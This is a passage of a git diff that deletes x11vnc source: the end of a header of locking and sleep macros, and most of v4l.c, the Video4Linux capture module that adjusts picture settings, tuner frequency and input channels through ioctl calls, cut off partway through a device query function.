- _mysleep.tv_usec = (x) % 1000000; \
- select(0, NULL, NULL, NULL, &_mysleep);
-#if !defined(X11VNC_USLEEP)
-#undef usleep
-#define usleep usleep2
-#endif
-
-/*
- * following is based on IsModifierKey in Xutil.h
-*/
-#define ismodkey(keysym) \
- ((((KeySym)(keysym) >= XK_Shift_L) && ((KeySym)(keysym) <= XK_Hyper_R) && \
- ((KeySym)(keysym) != XK_Caps_Lock) && ((KeySym)(keysym) != XK_Shift_Lock)))
-
-/*
- * When threaded we have to mutex our X11 calls to avoid XIO crashes
- * due to callbacks.
- */
-#ifdef LIBVNCSERVER_HAVE_LIBPTHREAD
-extern MUTEX(x11Mutex);
-extern MUTEX(scrollMutex);
-MUTEX(clientMutex);
-MUTEX(inputMutex);
-MUTEX(pointerMutex);
-#endif
-
-#define X_INIT INIT_MUTEX(x11Mutex)
-
-#if 1
-#define X_LOCK LOCK(x11Mutex)
-#define X_UNLOCK UNLOCK(x11Mutex)
-#else
-extern int hxl;
-#define X_LOCK fprintf(stderr, "*** X_LOCK** %d%s %s:%d\n", \
- hxl, hxl ? " BAD-PRE-LOCK":"", __FILE__, __LINE__); LOCK(x11Mutex); hxl = 1;
-#define X_UNLOCK fprintf(stderr, " x_unlock %d%s %s:%d\n", \
- hxl, !hxl ? " BAD-PRE-UNLOCK":"", __FILE__, __LINE__); UNLOCK(x11Mutex); hxl = 0;
-#endif
-
-#define SCR_LOCK if (use_threads) {LOCK(scrollMutex);}
-#define SCR_UNLOCK if (use_threads) {UNLOCK(scrollMutex);}
-#define SCR_INIT INIT_MUTEX(scrollMutex)
-
-#define CLIENT_LOCK if (use_threads) {LOCK(clientMutex);}
-#define CLIENT_UNLOCK if (use_threads) {UNLOCK(clientMutex);}
-#define CLIENT_INIT INIT_MUTEX(clientMutex)
-
-#if 1
-#define INPUT_LOCK if (use_threads) {LOCK(inputMutex);}
-#define INPUT_UNLOCK if (use_threads) {UNLOCK(inputMutex);}
-#else
-#define INPUT_LOCK
-#define INPUT_UNLOCK
-#endif
-#define INPUT_INIT INIT_MUTEX(inputMutex)
-
-#define POINTER_LOCK if (use_threads) {LOCK(pointerMutex);}
-#define POINTER_UNLOCK if (use_threads) {UNLOCK(pointerMutex);}
-#define POINTER_INIT INIT_MUTEX(pointerMutex)
-
-/*
- * The sendMutex member was added to libvncserver 0.9.8
- * rfb/rfb.h sets LIBVNCSERVER_SEND_MUTEX if present.
- */
-#if LIBVNCSERVER_HAVE_LIBPTHREAD && defined(LIBVNCSERVER_SEND_MUTEX)
-#define SEND_LOCK(cl) if (use_threads) LOCK((cl)->sendMutex);
-#define SEND_UNLOCK(cl) if (use_threads) UNLOCK((cl)->sendMutex);
-#else
-#define SEND_LOCK(cl)
-#define SEND_UNLOCK(cl)
-#endif
-
-#endif /* _X11VNC_UTIL_H */
diff --git a/x11vnc/v4l.c b/x11vnc/v4l.c
deleted file mode 100644
index 86c33a6..0000000
--- a/x11vnc/v4l.c
+++ /dev/null
@@ -1,1785 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-/* -- v4l.c -- */
-
-#include "x11vnc.h"
-#include "cleanup.h"
-#include "scan.h"
-#include "xinerama.h"
-#include "screen.h"
-#include "connections.h"
-#include "keyboard.h"
-#include "allowed_input_t.h"
-
-#if LIBVNCSERVER_HAVE_LINUX_VIDEODEV_H
-#if LIBVNCSERVER_HAVE_SYS_IOCTL_H
-#include <sys/ioctl.h>
-#define CONFIG_VIDEO_V4L1_COMPAT
-#include <linux/videodev.h>
-#ifdef __LINUX_VIDEODEV2_H
-# ifndef HAVE_V4L2
-# define HAVE_V4L2 1
-# endif
-#endif
-#define V4L_OK
-#endif
-#endif
-
-char *v4l_guess(char *str, int *fd);
-void v4l_key_command(rfbBool down, rfbKeySym keysym, rfbClientPtr client);
-void v4l_pointer_command(int mask, int x, int y, rfbClientPtr client);
-
-static int v4l1_val(int pct);
-static int v4l1_width(int w);
-static int v4l1_height(int h);
-static int v4l1_resize(int fd, int w, int h);
-static void v4l1_setfreq(int fd, unsigned long freq, int verb);
-static void v4l1_set_input(int fd, int which);
-static int v4l1_setfmt(int fd, char *fmt);
-static void apply_settings(char *dev, char *settings, int *fd);
-static int v4l1_dpct(int old, int d);
-static void v4l_requery(void);
-static void v4l_br(int b);
-static void v4l_hu(int b);
-static void v4l_co(int b);
-static void v4l_cn(int b);
-static void v4l_sz(int b);
-static void v4l_sta(int sta);
-static void v4l_inp(int inp);
-static void v4l_fmt(char *fmt);
-static int colon_n(char *line);
-static char *colon_str(char *line);
-static char *colon_tag(char *line);
-static void lookup_rgb(char *g_fmt, int *g_b, int *mask_rev);
-static char *v4l1_lu_palette(unsigned short palette);
-static unsigned short v4l1_lu_palette_str(char *name, int *bits, int *rev);
-static char *v4l2_lu_palette(unsigned int palette);
-static unsigned int v4l2_lu_palette_str(char *name, int *bits, int *rev);
-static int v4l1_query(int fd, int verbose);
-static int v4l2_query(int fd, int verbose);
-static int open_dev(char *dev);
-static char *guess_via_v4l(char *dev, int *fd);
-static char *guess_via_v4l_info(char *dev, int *fd);
-static void parse_str(char *str, char **dev, char **settings, char **atparms);
-static unsigned long lookup_freqtab(int sta);
-static unsigned long lookup_freq(int sta);
-static int lookup_station(unsigned long freq);
-static void init_freqtab(char *file);
-static void init_freqs(void);
-static void init_ntsc_cable(void);
-
-#define C_VIDEO_CAPTURE 1
-#define C_PICTURE 2
-#define C_WINDOW 3
-
-#ifdef V4L_OK
-static struct video_capability v4l1_capability;
-static struct video_channel v4l1_channel;
-static struct video_tuner v4l1_tuner;
-static struct video_picture v4l1_picture;
-static struct video_window v4l1_window;
-
-#if HAVE_V4L2
-static struct v4l2_capability v4l2_capability;
-static struct v4l2_input v4l2_input;
-static struct v4l2_tuner v4l2_tuner;
-static struct v4l2_fmtdesc v4l2_fmtdesc;
-static struct v4l2_format v4l2_format;
-/*static struct v4l2_framebuffer v4l2_fbuf; */
-/*static struct v4l2_queryctrl v4l2_qctrl; */
-#endif
-#endif
-
-static int v4l1_cap = -1;
-static int v4l2_cap = -1;
-#define V4L1_MAX 65535
-
-#define CHANNEL_MAX 500
-static unsigned long ntsc_cable[CHANNEL_MAX];
-static unsigned long custom_freq[CHANNEL_MAX];
-
-static unsigned long last_freq = 0;
-static int last_channel = 0;
-
-static int v4l1_val(int pct) {
- /* pct is % */
- int val, max = V4L1_MAX;
- if (pct < 0) {
- return 0;
- } else if (pct > 100) {
- return max;
- }
- val = (pct * max)/100;
-
- return val;
-}
-static int v4l1_width(int w) {
-#ifdef V4L_OK
- int min = v4l1_capability.minwidth;
- int max = v4l1_capability.maxwidth;
- if (w < min) {
- w = min;
- }
- if (w > max) {
- w = max;
- }
-#endif
- return w;
-}
-static int v4l1_height(int h) {
-#ifdef V4L_OK
- int min = v4l1_capability.minheight;
- int max = v4l1_capability.maxheight;
- if (h < min) {
- h = min;
- }
- if (h > max) {
- h = max;
- }
-#endif
- return h;
-}
-
-static int v4l1_resize(int fd, int w, int h) {
-#ifdef V4L_OK
- int dowin = 0;
-
- memset(&v4l1_window, 0, sizeof(v4l1_window));
- if (ioctl(fd, VIDIOCGWIN, &v4l1_window) == -1) {
- return 0;
- }
-
- if (w > 0) w = v4l1_width(w);
-
- if (w > 0 && w != (int) v4l1_window.width) {
- dowin = 1;
- }
-
- if (h > 0) h = v4l1_height(h);
-
- if (h > 0 && h != (int) v4l1_window.height) {
- dowin = 1;
- }
-
- if (dowin) {
- v4l1_window.x = 0;
- v4l1_window.y = 0;
- ioctl(fd, VIDIOCSWIN, &v4l1_window);
- if (w > 0) v4l1_window.width = w;
- if (h > 0) v4l1_window.height = h;
- fprintf(stderr, "calling V4L_1: VIDIOCSWIN\n");
- fprintf(stderr, "trying new size %dx%d\n",
- v4l1_window.width, v4l1_window.height);
- if (ioctl(fd, VIDIOCSWIN, &v4l1_window) == -1) {
- perror("ioctl VIDIOCSWIN");
- return 0;
- }
- }
-#else
- if (!fd || !w || !h) {}
-#endif
- return 1;
-}
-
-static void v4l1_setfreq(int fd, unsigned long freq, int verb) {
-#ifdef V4L_OK
- unsigned long f0, f1;
- f1 = (freq * 16) / 1000;
- ioctl(fd, VIDIOCGFREQ, &f0);
- if (verb) fprintf(stderr, "read freq: %d\n", (int) f0);
- if (freq > 0) {
- if (ioctl(fd, VIDIOCSFREQ, &f1) == -1) {
- perror("ioctl VIDIOCSFREQ");
- } else {
- ioctl(fd, VIDIOCGFREQ, &f0);
- if (verb) fprintf(stderr, "read freq: %d\n", (int) f0);
- last_freq = freq;
- }
- }
-#else
- if (!fd || !freq || !verb) {}
-#endif
-}
-
-static void v4l1_set_input(int fd, int which) {
-#ifdef V4L_OK
- if (which != -1) {
- memset(&v4l1_channel, 0, sizeof(v4l1_channel));
- v4l1_channel.channel = which;
- if (ioctl(fd, VIDIOCGCHAN, &v4l1_channel) != -1) {
- v4l1_channel.channel = which;
- fprintf(stderr, "setting input channel to %d: %s\n",
- which, v4l1_channel.name);
- last_channel = which;
- ioctl(fd, VIDIOCSCHAN, &v4l1_channel);
- }
- }
-#else
- if (!fd || !which) {}
-#endif
-}
-
-static int v4l1_setfmt(int fd, char *fmt) {
-#ifdef V4L_OK
- unsigned short fnew;
- int bnew, rnew;
-
- fnew = v4l1_lu_palette_str(fmt, &bnew, &rnew);
- if (fnew) {
- v4l1_picture.depth = bnew;
- v4l1_picture.palette = fnew;
- }
- fprintf(stderr, "calling V4L_1: VIDIOCSPICT\n");
- if (ioctl(fd, VIDIOCSPICT, &v4l1_picture) == -1) {
- perror("ioctl VIDIOCSPICT");
- return 0;
- }
- if (raw_fb_pixfmt) {
- free(raw_fb_pixfmt);
- }
- raw_fb_pixfmt = strdup(fmt);
-#else
- if (!fd || !fmt) {}
-#endif
- return 1;
-}
-
-static int ignore_all = 0;
-
-static void apply_settings(char *dev, char *settings, int *fd) {
-#ifdef V4L_OK
- char *str, *p, *fmt = NULL, *tun = NULL, *inp = NULL;
- int br = -1, co = -1, cn = -1, hu = -1;
- int w = -1, h = -1, b = -1;
- int sta = -1;
- int setcnt = 0;
- if (! settings || settings[0] == '\0') {
- return;
- }
- str = strdup(settings);
- p = strtok(str, ",");
- while (p) {
- if (strstr(p, "br=") == p) {
- br = atoi(p+3);
- if (br >= 0) setcnt++;
- } else if (strstr(p, "co=") == p) {
- co = atoi(p+3);
- if (co >= 0) setcnt++;
- } else if (strstr(p, "cn=") == p) {
- cn = atoi(p+3);
- if (cn >= 0) setcnt++;
- } else if (strstr(p, "hu=") == p) {
- hu = atoi(p+3);
- if (hu >= 0) setcnt++;
- } else if (strstr(p, "w=") == p) {
- w = atoi(p+2);
- if (w > 0) setcnt++;
- } else if (strstr(p, "h=") == p) {
- h = atoi(p+2);
- if (h > 0) setcnt++;
- } else if (strstr(p, "bpp=") == p) {
- b = atoi(p+4);
- if (b > 0) setcnt++;
- } else if (strstr(p, "fmt=") == p) {
- fmt = strdup(p+4);
- setcnt++;
- } else if (strstr(p, "tun=") == p) {
- tun = strdup(p+4);
- setcnt++;
- } else if (strstr(p, "inp=") == p) {
- inp = strdup(p+4);
- setcnt++;
- } else if (strstr(p, "sta=") == p) {
- sta = atoi(p+4);
- setcnt++;
- }
- p = strtok(NULL, ",");
- }
- free(str);
- if (! setcnt) {
- return;
- }
- if (*fd < 0) {
- *fd = open_dev(dev);
- }
- if (*fd < 0) {
- return;
- }
- v4l1_cap = v4l1_query(*fd, 1);
- v4l2_cap = v4l2_query(*fd, 1);
-
- if (v4l1_cap && ! ignore_all) {
- if (br >= 0) v4l1_picture.brightness = v4l1_val(br);
- if (hu >= 0) v4l1_picture.hue = v4l1_val(hu);
- if (co >= 0) v4l1_picture.colour = v4l1_val(co);
- if (cn >= 0) v4l1_picture.contrast = v4l1_val(cn);
-
- fprintf(stderr, "calling V4L_1: VIDIOCSPICT\n");
- if (ioctl(*fd, VIDIOCSPICT, &v4l1_picture) == -1) {
- perror("ioctl VIDIOCSPICT");
- }
-
- if (fmt) {
- v4l1_setfmt(*fd, fmt);
- } else if (b > 0 && b != v4l1_picture.depth) {
- if (b == 8) {
- v4l1_setfmt(*fd, "HI240");
- } else if (b == 16) {
- v4l1_setfmt(*fd, "RGB565");
- } else if (b == 24) {
- v4l1_setfmt(*fd, "RGB24");
- } else if (b == 32) {
- v4l1_setfmt(*fd, "RGB32");
- }
- }
-
- v4l1_resize(*fd, w, h);
-
- if (tun) {
- int mode = -1;
- if (!strcasecmp(tun, "PAL")) {
- mode = VIDEO_MODE_PAL;
- } else if (!strcasecmp(tun, "NTSC")) {
- mode = VIDEO_MODE_NTSC;
- } else if (!strcasecmp(tun, "SECAM")) {
- mode = VIDEO_MODE_SECAM;
- } else if (!strcasecmp(tun, "AUTO")) {
- mode = VIDEO_MODE_AUTO;
- }
- if (mode != -1) {
- int i;
- for (i=0; i< v4l1_capability.channels; i++) {
- memset(&v4l1_channel, 0, sizeof(v4l1_channel));
- v4l1_channel.channel = i;
- if (ioctl(*fd, VIDIOCGCHAN, &v4l1_channel) == -1) {
- continue;
- }
- if (! v4l1_channel.tuners) {
- continue;
- }
- if (v4l1_channel.norm == mode) {
- continue;
- }
- v4l1_channel.norm = mode;
- ioctl(*fd, VIDIOCSCHAN, &v4l1_channel);
- }
- }
- }
- if (inp) {
- char s[2];
- int i, chan = -1;
-
- s[0] = inp[0];
- s[1] = '\0';
- if (strstr("0123456789", s)) {
- chan = atoi(inp);
- } else {
- for (i=0; i< v4l1_capability.channels; i++) {
- memset(&v4l1_channel, 0, sizeof(v4l1_channel));
- v4l1_channel.channel = i;
- if (ioctl(*fd, VIDIOCGCHAN, &v4l1_channel) == -1) {
- continue;
- }
- if (!strcmp(v4l1_channel.name, inp)) {
- chan = i;
- break;
- }
- }
- }
- v4l1_set_input(*fd, chan);
- }
- if (sta >= 0) {
- unsigned long freq = lookup_freq(sta);
- v4l1_setfreq(*fd, freq, 1);
- }
- }
- v4l1_cap = v4l1_query(*fd, 1);
- v4l2_cap = v4l2_query(*fd, 1);
-#else
- if (!dev || !settings || !fd) {}
- return;
-#endif
-}
-
-static double dval = 0.05;
-
-static int v4l1_dpct(int old, int d) {
- int newval, max = V4L1_MAX;
-
- /* -1 and 1 are special cases for "small increments" */
- if (d == -1) {
- newval = old - (int) (dval * max);
- } else if (d == 1) {
- newval = old + (int) (dval * max);
- } else {
- newval = (d * max)/100;
- }
- if (newval < 0) {
- newval = 0;
- }
- if (newval > max) {
- newval = max;
- }
- return newval;
-}
-
-static void v4l_requery(void) {
- if (raw_fb_fd < 0) {
- return;
- }
- v4l1_cap = v4l1_query(raw_fb_fd, 1);
- v4l2_cap = v4l2_query(raw_fb_fd, 1);
-}
-
-static void v4l_br(int b) {
-#ifdef V4L_OK
- int old = v4l1_picture.brightness;
-
- v4l1_picture.brightness = v4l1_dpct(old, b);
- ioctl(raw_fb_fd, VIDIOCSPICT, &v4l1_picture);
- v4l_requery();
-#else
- if (!b) {}
-#endif
-}
-
-static void v4l_hu(int b) {
-#ifdef V4L_OK
- int old = v4l1_picture.hue;
-
- v4l1_picture.hue = v4l1_dpct(old, b);
- ioctl(raw_fb_fd, VIDIOCSPICT, &v4l1_picture);
- v4l_requery();
-#else
- if (!b) {}
-#endif
-}
-
-static void v4l_co(int b) {
-#ifdef V4L_OK
- int old = v4l1_picture.colour;
-
- v4l1_picture.colour = v4l1_dpct(old, b);
- ioctl(raw_fb_fd, VIDIOCSPICT, &v4l1_picture);
- v4l_requery();
-#else
- if (!b) {}
-#endif
-}
-
-static void v4l_cn(int b) {
-#ifdef V4L_OK
- int old = v4l1_picture.contrast;
-
- v4l1_picture.contrast = v4l1_dpct(old, b);
- ioctl(raw_fb_fd, VIDIOCSPICT, &v4l1_picture);
- v4l_requery();
-#else
- if (!b) {}
-#endif
-}
-
-static void v4l_sz(int b) {
-#ifdef V4L_OK
- int w_old = v4l1_window.width;
- int h_old = v4l1_window.height;
- int w, h;
-
- if (w_old == 0) {
- w_old = 160;
- }
- if (h_old == 0) {
- h_old = 120;
- }
-
- if (b == 1) {
- w = w_old + (int) (0.15 * w_old);
- h = h_old + (int) (0.15 * h_old);
- } else if (b == -1) {
- w = w_old - (int) (0.15 * w_old);
- h = h_old - (int) (0.15 * h_old);
- } else {
- return;
- }
-
- if (! v4l1_resize(raw_fb_fd, w, h)) {
- return;
- }
-
- v4l_requery();
-
- push_black_screen(4);
-
- ignore_all = 1;
- do_new_fb(1);
- ignore_all = 0;
-#else
- if (!b) {}
-#endif
-}
-
-static void v4l_sta(int sta) {
-#ifdef V4L_OK
- unsigned long freq = 0;
- int cur = lookup_station(last_freq);
-
- if (! last_freq) {
- if (sta == 0 || sta == -1) {
- sta = 11;
- }
- }
-
- if (sta == -1) {
- while (cur > 0) {
- freq = lookup_freq(--cur);
- if (freq) {
- break;
- }
- }
- } else if (sta == 0) {
- while (cur < CHANNEL_MAX - 1) {
- freq = lookup_freq(++cur);
- if (freq) {
- break;
- }
- }
- } else {
- freq = lookup_freq(sta);
- cur = sta;
- }
- fprintf(stderr, "to station %d / %d\n", cur, (int) freq);
- v4l1_setfreq(raw_fb_fd, freq, 0);
-#else
- if (!sta) {}
-#endif
-}
-
-static void v4l_inp(int inp) {
-#ifdef V4L_OK
- int next = -1;
- if (inp == -1) {
- inp = last_channel + 1;
- if (inp >= v4l1_capability.channels) {
- inp = 0;
- }
- next = inp;
- } else if (inp == -2) {
- inp = last_channel - 1;
- if (inp < 0) {
- inp = v4l1_capability.channels - 1;
- }
- next = inp;
- } else {
- next = inp;
- }
- v4l1_set_input(raw_fb_fd, next);
-#else
- if (!inp) {}
-#endif
-}
-
-static void v4l_fmt(char *fmt) {
- if (v4l1_setfmt(raw_fb_fd, fmt)) {
- v4l_requery();
-
- ignore_all = 1;
- do_new_fb(1);
- ignore_all = 0;
- }
-}
-
-void v4l_key_command(rfbBool down, rfbKeySym keysym, rfbClientPtr client) {
- allowed_input_t input;
-
- if (raw_fb_fd < 0) {
- return;
- }
- if (! down) {
- return;
- }
- if (view_only) {
- return;
- }
- get_allowed_input(client, &input);
- if (! input.keystroke) {
- return;
- }
-
- if (keysym == XK_b) {
- v4l_br(-1);
- } else if (keysym == XK_B) {
- v4l_br(+1);
- } else if (keysym == XK_h) {
- v4l_hu(-1);
- } else if (keysym == XK_H) {
- v4l_hu(+1);
- } else if (keysym == XK_c) {
- v4l_co(-1);
- } else if (keysym == XK_C) {
- v4l_co(+1);
- } else if (keysym == XK_n) {
- v4l_cn(-1);
- } else if (keysym == XK_N) {
- v4l_cn(+1);
- } else if (keysym == XK_s) {
- v4l_sz(-1);
- } else if (keysym == XK_S) {
- v4l_sz(+1);
- } else if (keysym == XK_i) {
- v4l_inp(-1);
- } else if (keysym == XK_I) {
- v4l_inp(-2);
- } else if (keysym == XK_Up) {
- v4l_sta(+0);
- } else if (keysym == XK_Down) {
- v4l_sta(-1);
- } else if (keysym == XK_F1) {
- v4l_fmt("HI240");
- } else if (keysym == XK_F2) {
- v4l_fmt("RGB565");
- } else if (keysym == XK_F3) {
- v4l_fmt("RGB24");
- } else if (keysym == XK_F4) {
- v4l_fmt("RGB32");
- } else if (keysym == XK_F5) {
- v4l_fmt("RGB555");
- } else if (keysym == XK_F6) {
- v4l_fmt("GREY");
- }
- if (client) {}
-}
-
-
-void v4l_pointer_command(int mask, int x, int y, rfbClientPtr client) {
- /* do not forget viewonly perms */
- if (mask || x || y || client) {}
-}
-
-static int colon_n(char *line) {
- char *q;
- int n;
- q = strrchr(line, ':');
- if (! q) {
- return 0;
- }
- q = lblanks(q+1);
- if (sscanf(q, "%d", &n) == 1) {
- return n;
- }
- return 0;
-}
-
-static char *colon_str(char *line) {
- char *q, *p, *t;
- q = strrchr(line, ':');
- if (! q) {
- return strdup("");
- }
- q = lblanks(q+1);
- p = strpbrk(q, " \t\n");
- if (p) {
- *p = '\0';
- }
- t = strdup(q);
- *p = '\n';
- return t;
-}
-
-static char *colon_tag(char *line) {
- char *q, *p, *t;
- q = strrchr(line, '[');
- if (! q) {
- return strdup("");
- }
- q++;
- p = strrchr(q, ']');
- if (! p) {
- return strdup("");
- }
- *p = '\0';
- t = strdup(q);
- *p = ']';
- return t;
-}
-
-static void lookup_rgb(char *fmt, int *bits, int *rev) {
- int tb, tr;
-
- if (v4l2_lu_palette_str(fmt, &tb, &tr)) {
- *bits = tb;
- *rev = tr;
- return;
- }
- if (v4l1_lu_palette_str(fmt, &tb, &tr)) {
- *bits = tb;
- *rev = tr;
- return;
- }
-}
-
-static char *v4l1_lu_palette(unsigned short palette) {
- switch(palette) {
-#ifdef V4L_OK
- case VIDEO_PALETTE_GREY: return "GREY";
- case VIDEO_PALETTE_HI240: return "HI240";
- case VIDEO_PALETTE_RGB565: return "RGB565";
- case VIDEO_PALETTE_RGB24: return "RGB24";
- case VIDEO_PALETTE_RGB32: return "RGB32";
- case VIDEO_PALETTE_RGB555: return "RGB555";
- case VIDEO_PALETTE_YUV422: return "YUV422";
- case VIDEO_PALETTE_YUYV: return "YUYV";
- case VIDEO_PALETTE_UYVY: return "UYVY";
- case VIDEO_PALETTE_YUV420: return "YUV420";
- case VIDEO_PALETTE_YUV411: return "YUV411";
- case VIDEO_PALETTE_RAW: return "RAW";
- case VIDEO_PALETTE_YUV422P: return "YUV422P";
- case VIDEO_PALETTE_YUV411P: return "YUV411P";
- case VIDEO_PALETTE_YUV420P: return "YUV420P";
- case VIDEO_PALETTE_YUV410P: return "YUV410P";
-#endif
- default: return "unknown";
- }
-}
-
-static unsigned short v4l1_lu_palette_str(char *name, int *bits, int *rev) {
-#ifdef V4L_OK
- *rev = 0;
- if (!strcmp(name, "RGB555")) {
- *bits = 16;
- return VIDEO_PALETTE_RGB555;
- } else if (!strcmp(name, "RGB565")) {
- *bits = 16;
- return VIDEO_PALETTE_RGB565;
- } else if (!strcmp(name, "RGB24")) {
- *bits = 24;
- return VIDEO_PALETTE_RGB24;
- } else if (!strcmp(name, "RGB32")) {
- *bits = 32;
- return VIDEO_PALETTE_RGB32;
- } else if (!strcmp(name, "HI240")) {
- *bits = 8;
- return VIDEO_PALETTE_HI240;
- } else if (!strcmp(name, "GREY")) {
- *bits = 8;
- return VIDEO_PALETTE_GREY;
- }
-#else
- if (!name || !bits || !rev) {}
-#endif
- return 0;
-}
-
-static char *v4l2_lu_palette(unsigned int fmt) {
- switch(fmt) {
-#if defined(V4L_OK) && HAVE_V4L2
- case V4L2_PIX_FMT_RGB332: return "RGB332";
- case V4L2_PIX_FMT_RGB555: return "RGB555";
- case V4L2_PIX_FMT_RGB565: return "RGB565";
- case V4L2_PIX_FMT_RGB555X: return "RGB555X";
- case V4L2_PIX_FMT_RGB565X: return "RGB565X";
- case V4L2_PIX_FMT_BGR24: return "BGR24";
- case V4L2_PIX_FMT_RGB24: return "RGB24";
- case V4L2_PIX_FMT_BGR32: return "BGR32";
- case V4L2_PIX_FMT_RGB32: return "RGB32";
- case V4L2_PIX_FMT_GREY: return "GREY";
- case V4L2_PIX_FMT_YVU410: return "YVU410";
- case V4L2_PIX_FMT_YVU420: return "YVU420";
- case V4L2_PIX_FMT_YUYV: return "YUYV";
- case V4L2_PIX_FMT_UYVY: return "UYVY";
- case V4L2_PIX_FMT_YUV422P: return "YUV422P";
- case V4L2_PIX_FMT_YUV411P: return "YUV411P";
- case V4L2_PIX_FMT_Y41P: return "Y41P";
- case V4L2_PIX_FMT_NV12: return "NV12";
- case V4L2_PIX_FMT_NV21: return "NV21";
- case V4L2_PIX_FMT_YUV410: return "YUV410";
- case V4L2_PIX_FMT_YUV420: return "YUV420";
- case V4L2_PIX_FMT_YYUV: return "YYUV";
- case V4L2_PIX_FMT_HI240: return "HI240";
- case V4L2_PIX_FMT_MJPEG: return "MJPEG";
- case V4L2_PIX_FMT_JPEG: return "JPEG";
- case V4L2_PIX_FMT_DV: return "DV";
- case V4L2_PIX_FMT_MPEG: return "MPEG";
-#endif
- default: return "unknown";
- }
-}
-
-static unsigned int v4l2_lu_palette_str(char *name, int *bits, int *rev) {
-#if defined(V4L_OK) && HAVE_V4L2
- if (!strcmp(name, "RGB1") || !strcmp(name, "RGB332")) {
- *bits = 8;
- *rev = 0;
- return V4L2_PIX_FMT_RGB332;
- } else if (!strcmp(name, "RGBO") || !strcmp(name, "RGB555")) {
- *bits = 16;
- *rev = 0;
- return V4L2_PIX_FMT_RGB555;
- } else if (!strcmp(name, "RGBP") || !strcmp(name, "RGB565")) {
- *bits = 16;
- *rev = 0;
- return V4L2_PIX_FMT_RGB565;
- } else if (!strcmp(name, "RGBQ") || !strcmp(name, "RGB555X")) {
- *bits = 16;
- *rev = 1;
- return V4L2_PIX_FMT_RGB555X;
- } else if (!strcmp(name, "RGBR") || !strcmp(name, "RGB565X")) {
- *bits = 16;
- *rev = 1;
- return V4L2_PIX_FMT_RGB565X;
- } else if (!strcmp(name, "BGR3") || !strcmp(name, "BGR24")) {
- *bits = 24;
- *rev = 1;
- return V4L2_PIX_FMT_BGR24;
- } else if (!strcmp(name, "RGB3") || !strcmp(name, "RGB24")) {
- *bits = 24;
- *rev = 0;
- return V4L2_PIX_FMT_RGB24;
- } else if (!strcmp(name, "BGR4") || !strcmp(name, "BGR32")) {
- *bits = 32;
- *rev = 1;
- return V4L2_PIX_FMT_BGR32;
- } else if (!strcmp(name, "RGB4") || !strcmp(name, "RGB32")) {
- *bits = 32;
- *rev = 0;
- return V4L2_PIX_FMT_RGB32;
- } else if (!strcmp(name, "GREY")) {
- *bits = 8;
- *rev = 0;
- return V4L2_PIX_FMT_GREY;
- }
-#else
- if (!name || !bits || !rev) {}
-#endif
- return 0;
-}
-
-static int v4l1_query(int fd, int v) {
-#ifdef V4L_OK
- unsigned int i;
-
- memset(&v4l1_capability, 0, sizeof(v4l1_capability));
- memset(&v4l1_channel, 0, sizeof(v4l1_channel));
- memset(&v4l1_tuner, 0, sizeof(v4l1_tuner));
- memset(&v4l1_picture, 0, sizeof(v4l1_picture));
- memset(&v4l1_window, 0, sizeof(v4l1_window));
-
- if (v) fprintf(stderr, "\nV4L_1 query:\n");
-#ifdef VIDIOCGCAP
- if (ioctl(fd, VIDIOCGCAP, &v4l1_capability) == -1) {
- perror("ioctl VIDIOCGCAP");
- fprintf(stderr, "\n");
- return 0;
- }
-#else
- return 0;
-#endif
- if (v) fprintf(stderr, "v4l-1 capability:\n");
- if (v) fprintf(stderr, " name: %s\n", v4l1_capability.name);
- if (v) fprintf(stderr, " channels: %d\n", v4l1_capability.channels);
- if (v) fprintf(stderr, " audios: %d\n", v4l1_capability.audios);
- if (v) fprintf(stderr, " maxwidth: %d\n", v4l1_capability.maxwidth);
- if (v) fprintf(stderr, " maxheight: %d\n", v4l1_capability.maxheight);
- if (v) fprintf(stderr, " minwidth: %d\n", v4l1_capability.minwidth);
- if (v) fprintf(stderr, " minheight: %d\n", v4l1_capability.minheight);
-
- for (i=0; (int) i < v4l1_capability.channels; i++) {
- char *type = "unknown";
- memset(&v4l1_channel, 0, sizeof(v4l1_channel));
- v4l1_channel.channel = i;
- if (ioctl(fd, VIDIOCGCHAN, &v4l1_channel) == -1) {
- perror("ioctl VIDIOCGCHAN");
- continue;
- }
- if (v4l1_channel.type == VIDEO_TYPE_TV) {
- type = "TV";
- } else if (v4l1_channel.type == VIDEO_TYPE_CAMERA) {
- type = "CAMERA";
- }
- if (v) fprintf(stderr, " channel[%d]: %s\ttuners: %d norm: %d type: %d %s\n",
- i, v4l1_channel.name, v4l1_channel.tuners, v4l1_channel.norm,
- v4l1_channel.type, type);
- }
-
- memset(&v4l1_tuner, 0, sizeof(v4l1_tuner));
- if (ioctl(fd, VIDIOCGTUNER, &v4l1_tuner) != -1) {
- char *mode = "unknown";
- if (v4l1_tuner.mode == VIDEO_MODE_PAL) {
- mode = "PAL";
- } else if (v4l1_tuner.mode == VIDEO_MODE_NTSC) {
- mode = "NTSC";
- } else if (v4l1_tuner.mode == VIDEO_MODE_SECAM) {
- mode = "SECAM";
- } else if (v4l1_tuner.mode == VIDEO_MODE_AUTO) {
- mode = "AUTO";
- }
-
- if (v) fprintf(stderr, " tuner[%d]: %s\tflags: 0x%x mode: %s\n",
- v4l1_tuner.tuner, v4l1_tuner.name, v4l1_tuner.flags, mode);
-
- }
-
- if (ioctl(fd, VIDIOCGPICT, &v4l1_picture) == -1) {
- perror("ioctl VIDIOCGCHAN");
- return 0;
- }
- if (v) fprintf(stderr, "v4l-1 picture:\n");
- if (v) fprintf(stderr, " brightness: %d\n", v4l1_picture.brightness);
- if (v) fprintf(stderr, " hue: %d\n", v4l1_picture.hue);
- if (v) fprintf(stderr, " colour: %d\n", v4l1_picture.colour);
